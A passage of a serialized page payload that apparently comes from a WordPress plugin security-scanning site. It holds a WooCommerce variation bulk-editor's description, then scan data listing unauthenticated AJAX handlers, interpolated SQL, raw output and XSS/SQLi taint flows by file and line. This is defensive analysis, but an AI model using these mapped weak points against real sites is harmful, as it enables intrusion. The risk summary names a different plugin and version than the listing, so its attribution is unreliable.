efficiently.\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F5th4dV57LkQ?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cp>\u003Cstrong>🚀 Why Choose VPBULKiT?\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>✔️ Edit multiple product variations at the same time\u003Cbr \u002F>\n✔️ Spreadsheet-style interface for fast variation management\u003Cbr \u002F>\n✔️ Powerful filters to target specific variations\u003Cbr \u002F>\n✔️ Schedule variation updates for future changes\u003Cbr \u002F>\n✔️ Smart background processing for large data sets\u003C\u002Fp>\n\u003Ch3>📊 Key Features\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>📋 Spreadsheet-Style Variation Editor\u003C\u002Fstrong>\u003Cbr \u002F>\n* Edit variation prices, stock, attributes, SKU, and more\u003Cbr \u002F>\n* Update many variations from one screen\u003Cbr \u002F>\n* No need to open each variation individually\u003C\u002Fp>\n\u003Cp>\u003Cstrong>🔎 Advanced Variation Filters\u003C\u002Fstrong>\u003Cbr \u002F>\n* Filter variations by product, attribute, price, stock status, and more\u003Cbr \u002F>\n* Instantly find exactly what you want to edit\u003Cbr \u002F>\n* Ideal for complex catalogs with multiple variations\u003C\u002Fp>\n\u003Cp>\u003Cstrong>⏱️ Scheduled Variation Updates\u003C\u002Fstrong>\u003Cbr \u002F>\n* Schedule bulk variation changes to run at a defined time\u003Cbr \u002F>\n* Great for future price changes or timed promotions\u003Cbr \u002F>\n* Automate variation updates without manual timing\u003C\u002Fp>\n\u003Cp>\u003Cstrong>⚙️ Background Processing\u003C\u002Fstrong>\u003Cbr \u002F>\n* Run heavy bulk operations in the background\u003Cbr \u002F>\n* Keeps your store responsive while editing\u003Cbr \u002F>\n* Optimized for WooCommerce performance\u003C\u002Fp>\n\u003Cp>\u003Cstrong>📊 Big Data Ready\u003C\u002Fstrong>\u003Cbr \u002F>\n* Efficient handling of thousands of variations\u003Cbr \u002F>\n* Suitable for stores with large catalogs\u003Cbr \u002F>\n* Scalable and performance-focused\u003C\u002Fp>\n\u003Ch3>⭐ WHAT YOU CAN DO WITH THE FREE VERSION ⭐\u003C\u002Fh3>\n\u003Cp>The free version provides the essential tools you need to start managing your variations more effectively.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>✅ \u003Cstrong>View All Variations:\u003C\u002Fstrong> See all your product variations from across your entire catalog in one single, powerful table.\u003C\u002Fli>\n\u003Cli>✅ \u003Cstrong>Advanced Filtering:\u003C\u002Fstrong> Find the exact variations you need to edit by filtering by product title, SKU, attributes, and more.\u003C\u002Fli>\n\u003Cli>✅ \u003Cstrong>Bulk Edit Stock:\u003C\u002Fstrong> Instantly update the stock quantity and stock status for thousands of variations at once.\u003C\u002Fli>\n\u003Cli>✅ \u003Cstrong>Simple Price Editing:\u003C\u002Fstrong> Quickly set a new Regular Price or Sale Price for your filtered variations.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>🚀 BECOME A VARIATION MANAGEMENT EXPERT WITH PRO 🚀\u003C\u002Fh3>\n\u003Cp>Upgrade to the \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fithemelandco.com\u002Fplugins\u002Fwoocommerce-variations-bulk-edit\u002F?utm_source=wp.org&utm_medium=web_links&utm_campaign=user-lite-buy'\" rel=\"nofollow ugc\">Pro Version\u003C\u002Fa>\u003C\u002Fstrong> to unlock the ultimate toolkit for managing variable products.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>🎯 \u003Cstrong>Edit ANY Variation Field:\u003C\u002Fstrong> Get unlimited access to bulk edit every field, including price, stock, weight, dimensions, shipping class, tax class, attributes, and even the variation image.\u003C\u002Fli>\n\u003Cli>🔄 \u003Cstrong>Undo \u002F Redo & History:\u003C\u002Fstrong> Never worry about mistakes again. View a complete history of all changes and revert any operation with a single click.\u003C\u002Fli>\n\u003Cli>⏱️ \u003Cstrong>Scheduled variation updates\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>⚙️ \u003Cstrong>Background processing for heavy operations\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>📊 \u003Cstrong>Big data optimization for large catalogs\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>➕ \u003Cstrong>Advanced Bulk Price Updates:\u003C\u002Fstrong> Apply complex price changes. Increase or decrease prices by a percentage (%) or a fixed dollar amount ($), and even round to the nearest value.\u003C\u002Fli>\n\u003Cli>✍️ \u003Cstrong>Append, Prepend, & Replace Text:\u003C\u002Fstrong> Easily add text to the beginning or end of SKUs and other text fields in bulk.\u003C\u002Fli>\n\u003Cli>💾 \u003Cstrong>Save Your Filters:\u003C\u002Fstrong> Save your complex search queries to reuse them later for recurring tasks.\u003C\u002Fli>\n\u003Cli>🗑️ \u003Cstrong>Bulk Delete Variations:\u003C\u002Fstrong> Clean up your store by bulk deleting old or unnecessary variations based on your filters.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fithemelandco.com\u002Fplugins\u002Fwoocommerce-variations-bulk-edit\u002F?utm_source=wp.org&utm_medium=web_links&utm_campaign=user-lite-buy'\" rel=\"nofollow ugc\">See all the powerful Pro features and save hours of work!\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Explore our full range of powerful WordPress plugins on the \u003Ca href=\"https:\u002F\u002Fithemelandco.com\u002Fshop\u002F\" rel=\"nofollow ugc\">official iThemelandCo website\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>External services\u003C\u002Fh3>\n\u003Cp>This plugin connects to a license server to activate the plugin and check for updates.\u003Cbr \u002F>\nIt sends the site admin’s email address and license key to iThemelandCo when the license is activated or when checking for updates. The server responds with activation status, update availability, or error messages.\u003Cbr \u002F>\nThis service is required to verify valid licenses and deliver updates.\u003Cbr \u002F>\nThis service is provided by “iThemelandCo”. http:\u002F\u002Fithemelandco.com\u002F\u003C\u002Fp>\n","Stop wasting days editing product variations one-by-one. Bulk edit thousands of WooCommerce variations in a few simple clicks.",3506,"2026-01-06T17:28:00.000Z","4.4","8.0.3",[321,4,322,323,324],"bulk-edit-variations","variation-editor","woocommerce-bulk-edit-variations","woocommerce-bulk-variations-edit","https:\u002F\u002Fithemelandco.com\u002Fplugins\u002Fwoocommerce-bulk-variations-editing","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fithemeland-bulk-variation-editing-for-woocommerce.2.0.6.zip",{"attackSurface":328,"codeSignals":562,"taintFlows":902,"riskAssessment":998,"analyzedAt":1012},{"hooks":329,"ajaxHandlers":463,"restRoutes":559,"shortcodes":560,"cronEvents":561,"entryPointCount":401,"unprotectedCount":361},[330,335,340,344,349,353,356,358,360,362,364,366,367,369,371,376,380,383,386,388,389,391,395,398,402,406,408,410,412,414,417,420,423,426,430,433,437,440,443,445,448,451,455,457,459],{"type":331,"name":332,"callback":332,"priority":271,"file":333,"line":334},"filter","wpbe_print_plugin_options","classes\\models\\profiles.php",31,{"type":336,"name":337,"callback":338,"priority":271,"file":333,"line":339},"action","wpbe_page_end","closure",32,{"type":331,"name":341,"callback":342,"file":343,"line":27},"wpbe_apply_query_filter_data","add_query","ext\\author_area\\author_area.php",{"type":331,"name":345,"callback":346,"priority":347,"file":343,"line":348},"wpbe_user_can_edit","user_can",10,15,{"type":336,"name":350,"callback":350,"priority":271,"file":351,"line":352},"wpbe_ext_scripts","ext\\bulk\\bulk.php",17,{"type":336,"name":354,"callback":354,"priority":271,"file":351,"line":355},"wpbe_tools_panel_buttons_end",18,{"type":336,"name":357,"callback":357,"priority":347,"file":351,"line":334},"wpbe_bulk_going",{"type":336,"name":350,"callback":350,"priority":271,"file":359,"line":27},"ext\\calculator\\calculator.php",{"type":336,"name":337,"callback":337,"priority":271,"file":359,"line":361},14,{"type":336,"name":350,"callback":350,"priority":271,"file":363,"line":27},"ext\\export\\export.php",{"type":336,"name":350,"callback":350,"priority":271,"file":365,"line":27},"ext\\filters\\filters.php",{"type":331,"name":332,"callback":332,"priority":271,"file":365,"line":259},{"type":331,"name":341,"callback":341,"file":365,"line":368},21,{"type":336,"name":354,"callback":354,"priority":259,"file":365,"line":370},27,{"type":331,"name":372,"callback":373,"priority":374,"file":365,"line":375},"posts_where","posts_txt_where",101,467,{"type":331,"name":372,"callback":377,"priority":378,"file":365,"line":379},"posts_post_author_where",103,475,{"type":331,"name":372,"callback":381,"file":365,"line":382},"wpbe_post_from_to",539,{"type":336,"name":350,"callback":350,"priority":271,"file":384,"line":385},"ext\\fprofiles\\fprofiles.php",16,{"type":336,"name":387,"callback":387,"priority":271,"file":384,"line":352},"wpbe_tools_panel_buttons",{"type":336,"name":337,"callback":337,"priority":271,"file":384,"line":355},{"type":336,"name":350,"callback":350,"priority":271,"file":390,"line":352},"ext\\history\\history.php",{"type":336,"name":392,"callback":393,"priority":347,"file":390,"line":394},"wpbe_bulk_started","start_bulk",33,{"type":336,"name":357,"callback":396,"priority":347,"file":390,"line":397},"count_bulked_posts",34,{"type":336,"name":399,"callback":400,"priority":347,"file":390,"line":401},"wpbe_bulk_finished","finish_bulk",35,{"type":336,"name":403,"callback":404,"priority":347,"file":390,"line":405},"wpbe_before_update_page_field","write",36,{"type":336,"name":350,"callback":350,"priority":271,"file":407,"line":385},"ext\\meta\\meta.php",{"type":331,"name":409,"callback":409,"priority":270,"file":407,"line":397},"wpbe_extend_fields",{"type":331,"name":411,"callback":411,"priority":271,"file":407,"line":401},"wpbe_filter_text",{"type":331,"name":413,"callback":413,"priority":271,"file":407,"line":405},"wpbe_filter_numbers",{"type":331,"name":415,"callback":415,"priority":271,"file":407,"line":416},"wpbe_filter_other",37,{"type":331,"name":418,"callback":418,"priority":271,"file":407,"line":419},"wpbe_bulk_text",39,{"type":331,"name":421,"callback":421,"priority":271,"file":407,"line":422},"wpbe_bulk_number",40,{"type":331,"name":424,"callback":424,"priority":271,"file":407,"line":425},"wpbe_bulk_other",41,{"type":336,"name":427,"callback":338,"file":428,"line":429},"admin_notices","index.php",24,{"type":336,"name":431,"callback":431,"file":428,"line":432},"admin_enqueue_scripts",80,{"type":331,"name":434,"callback":435,"file":428,"line":436},"wpbe_post_statuses","add_statuses",81,{"type":336,"name":438,"callback":439,"file":428,"line":258},"admin_footer","wp_editor_compatibility",{"type":331,"name":441,"callback":338,"file":428,"line":442},"wpbe_current_language",104,{"type":336,"name":427,"callback":338,"file":428,"line":444},115,{"type":336,"name":446,"callback":338,"file":428,"line":447},"admin_init",136,{"type":336,"name":449,"callback":338,"priority":270,"file":428,"line":450},"admin_menu",146,{"type":336,"name":452,"callback":338,"priority":453,"file":428,"line":454},"admin_bar_menu",250,153,{"type":331,"name":372,"callback":373,"priority":374,"file":428,"line":456},815,{"type":336,"name":427,"callback":338,"file":428,"line":458},1371,{"type":336,"name":460,"callback":460,"priority":461,"file":428,"line":462},"init",9999,1461,[464,467,470,473,476,479,482,484,486,488,490,494,496,498,500,502,504,506,508,511,513,516,519,522,526,529,532,535,538,541,544,547,550,553,556],{"action":465,"nopriv":50,"callback":465,"hasNonce":466,"hasCapCheck":50,"file":351,"line":368},"wpbe_bulk_posts_count",true,{"action":468,"nopriv":50,"callback":468,"hasNonce":466,"hasCapCheck":50,"file":351,"line":469},"wpbe_bulk_posts",22,{"action":471,"nopriv":50,"callback":471,"hasNonce":466,"hasCapCheck":50,"file":351,"line":472},"wpbe_bulk_finish",23,{"action":474,"nopriv":50,"callback":474,"hasNonce":50,"hasCapCheck":50,"file":351,"line":475},"wpbe_bulk_get_att_terms",26,{"action":477,"nopriv":50,"callback":477,"hasNonce":466,"hasCapCheck":50,"file":351,"line":478},"wpbe_bulk_delete_posts_count",28,{"action":480,"nopriv":50,"callback":480,"hasNonce":466,"hasCapCheck":50,"file":351,"line":481},"wpbe_bulk_delete_posts",29,{"action":483,"nopriv":50,"callback":483,"hasNonce":50,"hasCapCheck":50,"file":363,"line":385},"wpbe_export_posts_count",{"action":485,"nopriv":50,"callback":485,"hasNonce":50,"hasCapCheck":50,"file":363,"line":352},"wpbe_export_posts",{"action":487,"nopriv":50,"callback":487,"hasNonce":50,"hasCapCheck":50,"file":365,"line":385},"wpbe_filter_posts",{"action":489,"nopriv":50,"callback":489,"hasNonce":50,"hasCapCheck":50,"file":365,"line":352},"wpbe_reset_filter",{"action":491,"nopriv":50,"callback":492,"hasNonce":466,"hasCapCheck":50,"file":493,"line":355},"wpbe_get_filter_profile_data","get_filter_profile_data","ext\\fprofiles\\models\\profiles.php",{"action":495,"nopriv":50,"callback":495,"hasNonce":466,"hasCapCheck":50,"file":390,"line":259},"wpbe_history_revert_post",{"action":497,"nopriv":50,"callback":497,"hasNonce":466,"hasCapCheck":50,"file":390,"line":368},"wpbe_history_get_bulk_count",{"action":499,"nopriv":50,"callback":499,"hasNonce":50,"hasCapCheck":50,"file":390,"line":469},"wpbe_history_revert_bulk_portion",{"action":501,"nopriv":50,"callback":501,"hasNonce":466,"hasCapCheck":50,"file":390,"line":472},"wpbe_get_history_list",{"action":503,"nopriv":50,"callback":503,"hasNonce":466,"hasCapCheck":50,"file":390,"line":429},"wpbe_history_clear",{"action":505,"nopriv":50,"callback":505,"hasNonce":466,"hasCapCheck":50,"file":390,"line":14},"wpbe_history_delete_solo",{"action":507,"nopriv":50,"callback":507,"hasNonce":466,"hasCapCheck":50,"file":390,"line":475},"wpbe_history_delete_bulk",{"action":509,"nopriv":50,"callback":509,"hasNonce":466,"hasCapCheck":50,"file":407,"line":510},"wpbe_save_meta",19,{"action":512,"nopriv":50,"callback":512,"hasNonce":50,"hasCapCheck":50,"file":407,"line":259},"wpbe_meta_get_keys",{"action":514,"nopriv":50,"callback":514,"hasNonce":50,"hasCapCheck":50,"file":428,"line":515},"wpbe_get_posts",222,{"action":517,"nopriv":50,"callback":517,"hasNonce":466,"hasCapCheck":50,"file":428,"line":518},"wpbe_update_page_field",223,{"action":520,"nopriv":50,"callback":520,"hasNonce":50,"hasCapCheck":50,"file":428,"line":521},"wpbe_redraw_table_row",224,{"action":523,"nopriv":50,"callback":524,"hasNonce":50,"hasCapCheck":50,"file":428,"line":525},"wpbe_get_post_field","get_post_field",225,{"action":527,"nopriv":50,"callback":527,"hasNonce":50,"hasCapCheck":50,"file":428,"line":528},"wpbe_get_gallery",226,{"action":530,"nopriv":50,"callback":530,"hasNonce":50,"hasCapCheck":50,"file":428,"line":531},"wpbe_get_upsells",227,{"action":533,"nopriv":50,"callback":533,"hasNonce":466,"hasCapCheck":50,"file":428,"line":534},"wpbe_create_new_post",229,{"action":536,"nopriv":50,"callback":536,"hasNonce":466,"hasCapCheck":50,"file":428,"line":537},"wpbe_duplicate_posts",230,{"action":539,"nopriv":50,"callback":539,"hasNonce":466,"hasCapCheck":50,"file":428,"line":540},"wpbe_delete_posts",231,{"action":542,"nopriv":50,"callback":542,"hasNonce":466,"hasCapCheck":50,"file":428,"line":543},"wpbe_create_new_term",233,{"action":545,"nopriv":50,"callback":545,"hasNonce":466,"hasCapCheck":50,"file":428,"line":546},"wpbe_update_tax_term",234,{"action":548,"nopriv":50,"callback":548,"hasNonce":466,"hasCapCheck":50,"file":428,"line":549},"wpbe_delete_tax_term",235,{"action":551,"nopriv":50,"callback":338,"hasNonce":50,"hasCapCheck":50,"file":428,"line":552},"wpbe_set_active_post_type",237,{"action":554,"nopriv":50,"callback":554,"hasNonce":50,"hasCapCheck":50,"file":428,"line":555},"wpbe_title_autocomplete",245,{"action":557,"nopriv":50,"callback":557,"hasNonce":466,"hasCapCheck":50,"file":428,"line":558},"wpbe_save_options",246,[],[],[],{"dangerousFunctions":563,"sqlUsage":564,"outputEscaping":596,"fileOperations":894,"externalRequests":28,"nonceChecks":478,"capabilityChecks":271,"bundledLibraries":895},[],{"prepared":565,"raw":27,"locations":566},6,[567,570,573,575,577,579,581,583,585,588,591,593,595],{"file":390,"line":568,"context":569},66,"$wpdb->query() with variable interpolation",{"file":390,"line":571,"context":572},154,"$wpdb->get_results() with variable interpolation",{"file":390,"line":574,"context":572},155,{"file":390,"line":576,"context":569},163,{"file":390,"line":578,"context":569},173,{"file":390,"line":580,"context":572},179,{"file":390,"line":582,"context":572},180,{"file":390,"line":584,"context":569},244,{"file":390,"line":586,"context":587},337,"$wpdb->get_row() with variable interpolation",{"file":390,"line":589,"context":590},411,"$wpdb->get_var() with variable interpolation",{"file":390,"line":592,"context":572},429,{"file":594,"line":134,"context":569},"uninstall.php",{"file":594,"line":47,"context":569},{"escaped":597,"rawEcho":582,"locations":598},504,[599,602,604,606,608,610,612,614,616,618,619,621,623,625,627,628,630,633,635,637,639,640,641,642,643,644,645,646,648,650,651,652,653,654,655,657,659,660,662,663,666,668,670,672,673,675,677,679,681,683,685,687,688,689,690,692,693,694,695,696,697,698,699,701,703,704,705,707,709,711,712,714,715,716,717,719,720,721,723,724,725,726,729,730,732,733,734,735,736,737,738,739,740,743,744,746,748,750,752,754,756,758,761,763,765,767,768,770,771,773,775,776,778,779,781,783,784,785,786,788,790,791,793,795,797,798,800,801,803,805,807,808,810,812,813,815,817,818,820,821,823,824,826,827,829,831,833,835,837,839,840,842,843,845,846,848,850,852,853,855,856,858,859,860,862,864,866,868,870,872,874,876,878,880,882,884,886,888,890,892],{"file":351,"line":600,"context":601},44,"raw output",{"file":351,"line":603,"context":601},45,{"file":351,"line":605,"context":601},46,{"file":351,"line":607,"context":601},47,{"file":351,"line":609,"context":601},48,{"file":351,"line":611,"context":601},49,{"file":351,"line":613,"context":601},50,{"file":351,"line":615,"context":601},51,{"file":351,"line":617,"context":601},52,{"file":351,"line":75,"context":601},{"file":351,"line":620,"context":601},83,{"file":351,"line":622,"context":601},87,{"file":351,"line":624,"context":601},96,{"file":351,"line":626,"context":601},109,{"file":351,"line":571,"context":601},{"file":351,"line":629,"context":601},202,{"file":631,"line":632,"context":601},"ext\\bulk\\views\\panel.php",184,{"file":631,"line":634,"context":601},516,{"file":631,"line":636,"context":601},614,{"file":631,"line":638,"context":601},653,{"file":359,"line":429,"context":601},{"file":363,"line":334,"context":601},{"file":363,"line":339,"context":601},{"file":363,"line":394,"context":601},{"file":363,"line":397,"context":601},{"file":363,"line":401,"context":601},{"file":363,"line":605,"context":601},{"file":363,"line":647,"context":601},167,{"file":649,"line":14,"context":601},"ext\\export\\views\\panel.php",{"file":649,"line":475,"context":601},{"file":649,"line":605,"context":601},{"file":365,"line":397,"context":601},{"file":365,"line":401,"context":601},{"file":365,"line":405,"context":601},{"file":365,"line":656,"context":601},43,{"file":365,"line":658,"context":601},664,{"file":365,"line":658,"context":601},{"file":365,"line":661,"context":601},673,{"file":365,"line":661,"context":601},{"file":664,"line":665,"context":601},"ext\\filters\\views\\panel.php",273,{"file":664,"line":667,"context":601},288,{"file":664,"line":669,"context":601},304,{"file":664,"line":671,"context":601},320,{"file":664,"line":586,"context":601},{"file":664,"line":674,"context":601},363,{"file":664,"line":676,"context":601},377,{"file":664,"line":678,"context":601},406,{"file":664,"line":680,"context":601},413,{"file":664,"line":682,"context":601},424,{"file":664,"line":684,"context":601},431,{"file":664,"line":686,"context":601},453,{"file":384,"line":475,"context":601},{"file":384,"line":370,"context":601},{"file":384,"line":425,"context":601},{"file":493,"line":691,"context":601},70,{"file":390,"line":600,"context":601},{"file":390,"line":603,"context":601},{"file":390,"line":605,"context":601},{"file":390,"line":607,"context":601},{"file":390,"line":609,"context":601},{"file":390,"line":611,"context":601},{"file":390,"line":613,"context":601},{"file":390,"line":700,"context":601},58,{"file":390,"line":702,"context":601},107,{"file":390,"line":626,"context":601},{"file":390,"line":447,"context":601},{"file":390,"line":706,"context":601},138,{"file":390,"line":708,"context":601},459,{"file":710,"line":14,"context":601},"ext\\history\\views\\list.php",{"file":710,"line":481,"context":601},{"file":710,"line":713,"context":601},30,{"file":710,"line":425,"context":601},{"file":710,"line":656,"context":601},{"file":710,"line":603,"context":601},{"file":710,"line":718,"context":601},93,{"file":710,"line":718,"context":601},{"file":710,"line":26,"context":601},{"file":710,"line":722,"context":601},97,{"file":710,"line":722,"context":601},{"file":710,"line":13,"context":601},{"file":710,"line":374,"context":601},{"file":727,"line":728,"context":601},"ext\\history\\views\\panel.php",53,{"file":727,"line":718,"context":601},{"file":731,"line":510,"context":601},"ext\\info\\info.php",{"file":731,"line":259,"context":601},{"file":731,"line":370,"context":601},{"file":407,"line":611,"context":601},{"file":407,"line":613,"context":601},{"file":407,"line":615,"context":601},{"file":407,"line":617,"context":601},{"file":407,"line":728,"context":601},{"file":407,"line":75,"context":601},{"file":741,"line":742,"context":601},"ext\\meta\\views\\panel.php",42,{"file":741,"line":258,"context":601},{"file":741,"line":745,"context":601},102,{"file":428,"line":747,"context":601},651,{"file":428,"line":749,"context":601},684,{"file":428,"line":751,"context":601},693,{"file":428,"line":753,"context":601},1235,{"file":428,"line":755,"context":601},1281,{"file":428,"line":757,"context":601},1314,{"file":759,"line":760,"context":601},"views\\elements\\draw_gallery_popup_editor_btn.php",54,{"file":759,"line":762,"context":601},62,{"file":759,"line":764,"context":601},69,{"file":766,"line":334,"context":601},"views\\elements\\draw_meta_popup_editor_btn.php",{"file":766,"line":339,"context":601},{"file":769,"line":370,"context":601},"views\\elements\\draw_upsells_popup_editor_btn.php",{"file":769,"line":422,"context":601},{"file":769,"line":772,"context":601},65,{"file":774,"line":422,"context":601},"views\\parts\\advanced-table.php",{"file":774,"line":617,"context":601},{"file":774,"line":777,"context":601},56,{"file":774,"line":777,"context":601},{"file":774,"line":780,"context":601},63,{"file":782,"line":368,"context":601},"views\\parts\\post-upsells.php",{"file":782,"line":469,"context":601},{"file":782,"line":469,"context":601},{"file":782,"line":469,"context":601},{"file":787,"line":713,"context":601},"views\\wpbe.php",{"file":787,"line":789,"context":601},72,{"file":787,"line":222,"context":601},{"file":787,"line":792,"context":601},139,{"file":787,"line":794,"context":601},143,{"file":787,"line":796,"context":601},466,{"file":787,"line":796,"context":601},{"file":787,"line":799,"context":601},468,{"file":787,"line":799,"context":601},{"file":787,"line":802,"context":601},471,{"file":787,"line":804,"context":601},472,{"file":787,"line":806,"context":601},482,{"file":787,"line":806,"context":601},{"file":787,"line":809,"context":601},483,{"file":787,"line":811,"context":601},488,{"file":787,"line":811,"context":601},{"file":787,"line":814,"context":601},489,{"file":787,"line":816,"context":601},493,{"file":787,"line":816,"context":601},{"file":787,"line":819,"context":601},526,{"file":787,"line":819,"context":601},{"file":787,"line":822,"context":601},527,{"file":787,"line":822,"context":601},{"file":787,"line":825,"context":601},528,{"file":787,"line":825,"context":601},{"file":787,"line":828,"context":601},536,{"file":787,"line":830,"context":601},540,{"file":787,"line":832,"context":601},551,{"file":787,"line":834,"context":601},584,{"file":787,"line":836,"context":601},593,{"file":787,"line":838,"context":601},595,{"file":787,"line":838,"context":601},{"file":787,"line":841,"context":601},613,{"file":787,"line":841,"context":601},{"file":787,"line":844,"context":601},628,{"file":787,"line":844,"context":601},{"file":787,"line":847,"context":601},636,{"file":787,"line":849,"context":601},650,{"file":787,"line":851,"context":601},679,{"file":787,"line":851,"context":601},{"file":787,"line":854,"context":601},717,{"file":787,"line":854,"context":601},{"file":787,"line":857,"context":601},746,{"file":787,"line":256,"context":601},{"file":787,"line":256,"context":601},{"file":787,"line":861,"context":601},807,{"file":787,"line":863,"context":601},1009,{"file":787,"line":865,"context":601},1020,{"file":787,"line":867,"context":601},1021,{"file":787,"line":869,"context":601},1027,{"file":787,"line":871,"context":601},1028,{"file":787,"line":873,"context":601},1029,{"file":787,"line":875,"context":601},1032,{"file":787,"line":877,"context":601},1033,{"file":787,"line":879,"context":601},1034,{"file":787,"line":881,"context":601},1035,{"file":787,"line":883,"context":601},1036,{"file":787,"line":885,"context":601},1037,{"file":787,"line":887,"context":601},1038,{"file":787,"line":889,"context":601},1043,{"file":787,"line":891,"context":601},1044,{"file":787,"line":893,"context":601},1045,4,[896,899],{"name":897,"version":38,"knownCves":898},"jQuery",[],{"name":900,"version":38,"knownCves":901},"DataTables",[],[903,919,929,937,946,954,962,971,980],{"entryPoint":904,"graph":905,"unsanitizedCount":271,"severity":40},"get_post_field (index.php:691)",{"nodes":906,"edges":917},[907,912],{"id":908,"type":909,"label":910,"file":428,"line":911},"n0","source","$_REQUEST",692,{"id":913,"type":914,"label":915,"file":428,"line":751,"wp_function":916},"n1","sink","echo() [XSS]","echo",[918],{"from":908,"to":913,"sanitized":50},{"entryPoint":920,"graph":921,"unsanitizedCount":28,"severity":67},"create_profile (classes\\models\\profiles.php:160)",{"nodes":922,"edges":927},[923,925],{"id":908,"type":909,"label":910,"file":333,"line":924},170,{"id":913,"type":914,"label":915,"file":333,"line":926,"wp_function":916},181,[928],{"from":908,"to":913,"sanitized":466},{"entryPoint":930,"graph":931,"unsanitizedCount":28,"severity":67},"\u003Cprofiles> (classes\\models\\profiles.php:0)",{"nodes":932,"edges":935},[933,934],{"id":908,"type":909,"label":910,"file":333,"line":924},{"id":913,"type":914,"label":915,"file":333,"line":926,"wp_function":916},[936],{"from":908,"to":913,"sanitized":466},{"entryPoint":938,"graph":939,"unsanitizedCount":28,"severity":67},"create_profile (ext\\fprofiles\\models\\profiles.php:55)",{"nodes":940,"edges":944},[941,943],{"id":908,"type":909,"label":910,"file":493,"line":942},67,{"id":913,"type":914,"label":915,"file":493,"line":691,"wp_function":916},[945],{"from":908,"to":913,"sanitized":466},{"entryPoint":947,"graph":948,"unsanitizedCount":28,"severity":67},"\u003Cprofiles> (ext\\fprofiles\\models\\profiles.php:0)",{"nodes":949,"edges":952},[950,951],{"id":908,"type":909,"label":910,"file":493,"line":942},{"id":913,"type":914,"label":915,"file":493,"line":691,"wp_function":916},[953],{"from":908,"to":913,"sanitized":466},{"entryPoint":955,"graph":956,"unsanitizedCount":28,"severity":67},"wpbe_update_page_field (index.php:544)",{"nodes":957,"edges":960},[958,959],{"id":908,"type":909,"label":910,"file":428,"line":832},{"id":913,"type":914,"label":915,"file":428,"line":747,"wp_function":916},[961],{"from":908,"to":913,"sanitized":466},{"entryPoint":963,"graph":964,"unsanitizedCount":28,"severity":67},"wpbe_delete_tax_term (index.php:1265)",{"nodes":965,"edges":969},[966,968],{"id":908,"type":909,"label":910,"file":428,"line":967},1270,{"id":913,"type":914,"label":915,"file":428,"line":755,"wp_function":916},[970],{"from":908,"to":913,"sanitized":466},{"entryPoint":972,"graph":973,"unsanitizedCount":28,"severity":67},"wpbe_update_tax_term (index.php:1286)",{"nodes":974,"edges":978},[975,977],{"id":908,"type":909,"label":910,"file":428,"line":976},1296,{"id":913,"type":914,"label":915,"file":428,"line":757,"wp_function":916},[979],{"from":908,"to":913,"sanitized":466},{"entryPoint":981,"graph":982,"unsanitizedCount":28,"severity":67},"\u003Cindex> (index.php:0)",{"nodes":983,"edges":995},[984,986,987,990],{"id":908,"type":909,"label":985,"file":428,"line":832},"$_REQUEST (x24)",{"id":913,"type":914,"label":915,"file":428,"line":747,"wp_function":916},{"id":988,"type":909,"label":910,"file":428,"line":989},"n2",718,{"id":991,"type":914,"label":992,"file":428,"line":993,"wp_function":994},"n3","get_results() [SQLi]",914,"get_results",[996,997],{"from":908,"to":913,"sanitized":466},{"from":988,"to":991,"sanitized":466},{"summary":999,"deductions":1000},"The 'bulk-editor' v1.0.9 plugin presents a mixed security posture. While it shows strengths like a lack of dangerous functions, no external HTTP requests, and a reasonable percentage of SQL queries using prepared statements, significant concerns arise from its attack surface and historical vulnerability patterns. The presence of 14 AJAX handlers without authentication checks is a critical vulnerability, exposing core plugin functionality to unauthorized access. This, coupled with a history of 12 known CVEs, including medium and low severity issues like Path Traversal, CSRF, Missing Authorization, and XSS, indicates a recurring struggle with secure coding practices.\n\nThe taint analysis, while showing no critical or high severity unsanitized paths, did identify one flow with an unsanitized path, which warrants attention. The high number of AJAX entry points without proper authorization is the most immediate and severe risk. The plugin's history of diverse vulnerability types suggests a pattern of insecure input handling and authorization flaws that have not been fully remediated over time. While the plugin has no currently unpatched CVEs and a decent rate of output escaping, the fundamental issues with access control on its AJAX endpoints and the historical context of vulnerabilities necessitate a cautious approach.",[1001,1003,1005,1008,1010],{"reason":1002,"points":347},"Unprotected AJAX handlers",{"reason":1004,"points":348},"Known CVEs (12 total)",{"reason":1006,"points":1007},"Taint flow with unsanitized path",5,{"reason":1009,"points":1007},"Low percentage of prepared SQL statements",{"reason":1011,"points":1007},"Limited capability 